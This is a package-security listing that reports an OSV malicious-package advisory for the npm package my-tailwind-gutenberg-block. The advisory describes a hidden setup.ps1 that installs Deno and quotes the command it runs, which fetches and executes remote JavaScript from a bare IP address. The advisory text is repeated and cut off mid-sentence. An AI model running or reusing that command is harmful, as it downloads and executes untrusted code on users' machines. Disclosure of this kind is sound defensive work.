0vulnerabilities
- Critical0 (0.0%)
- High0 (0.0%)
- Medium0 (0.0%)
- Moderate0 (0.0%)
- Low0 (0.0%)
my-tailwind-gutenberg-block
Ecosystem: npm
Downloads:
- 0CriticalAffects 0 versions
- 0HighAffects 0 versions
- 0MediumAffects 0 versions
- 0ModerateAffects 0 versions
- 0LowAffects 0 versions
Monthly breakdown
- 0 vulnerabilities
- Critical: 0
- High: 0
- Medium: 0
- Moderate: 0
- Low: 0
Vulnerabilities (1)
Known vulnerabilities affecting my-tailwind-gutenberg-block, based on data from OSV.
| ID | Severity | Summary | Affected versions | Published | Source |
|---|---|---|---|---|---|
| MAL-2026-10761 | Unknown | Malicious code in my-tailwind-gutenberg-block (npm)--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8ba41c0d8f447e47febb6ceed2c87681bb0f518b74d42d898e024a7ab4418f61) The package advertises itself as a WordPress Gutenberg + Tailwind block scaffold (src/edit.js, src/save.js, block.json), but the tarball also contains setup.ps1, an undocumented PowerShell script unrelated to the stated purpose. When run, setup.ps1 installs Scoop, winget, and the Deno runtime on the user's Windows host, then invokes `deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js` — executing unpinned, unverified JavaScript fetched |
| OSV (opens in a new tab) |
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8ba41c0d8f447e47febb6ceed2c87681bb0f518b74d42d898e024a7ab4418f61) The package advertises itself as a WordPress Gutenberg + Tailwind block scaffold (src/edit.js, src/save.js, block.json), but the tarball also contains setup.ps1, an undocumented PowerShell script unrelated to the stated purpose. When run, setup.ps1 installs Scoop, winget, and the Deno runtime on the user's Windows host, then invokes `deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js` — executing unpinned, unverified JavaScript fetched